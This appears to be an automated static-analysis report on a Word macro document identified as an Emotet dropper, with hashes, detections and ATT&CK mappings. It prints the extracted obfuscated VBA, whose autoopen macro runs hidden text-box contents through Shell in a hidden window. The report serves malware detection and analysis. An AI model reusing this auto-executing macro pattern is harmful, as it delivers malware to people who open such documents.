Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e153745d890f53f1…

MALICIOUS

Office (OLE)

114.1 KB Created: 2018-12-18 13:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: a15c91af8d067f6715a8223799c78aac SHA-1: 909bb947a0999ba3f28bcc0dd4d9988488724e8c SHA-256: e153745d890f53f1bd285edf3a11deeb2cb6ec6a97a9c212309b21294995ed74
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Emotet-6788101-0', indicating it's a known dropper for the Emotet family. High-severity heuristics confirm the presence of VBA macros, specifically an 'autoopen' macro that utilizes the Shell() function to execute commands. This strongly suggests the macro's purpose is to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6788101-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6788101-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
    pCifP = Array(VRwdKsZ, RVuiN, NNpYnjD, Interaction.Shell(CleanString(UQjDXwiVuthV.TextBox1), 60 - 60), jqphd)
       Select Case panqOTGbszzPMGrW
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    jBNjW
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 853 bytes
SHA-256: 15dc476e4f57a79b2db9e3d418ead75140cf82c97e6ea217c9c967fe44f06c27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UQjDXwiVuthV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
jBNjW
End Sub

Attribute VB_Name = "iBGtcSbMChvhow"
Function jBNjW()
On Error Resume Next
pCifP = Array(VRwdKsZ, RVuiN, NNpYnjD, Interaction.Shell(CleanString(UQjDXwiVuthV.TextBox1), 60 - 60), jqphd)
   Select Case panqOTGbszzPMGrW
            Case 41887094
            DoCwPcjfTFrwqww = 286648471
            DbwDQwwKsPzjnMiiaNwLtKLK = Oct(AAktIzQVIovIBmqDlXNjw + CStr(tNUPkAfFsPoUQzOQjPhO + Log(207825255) - iWZaHHHnzbmVHXZsOPp / Hex(18806950)))
      End Select
End Function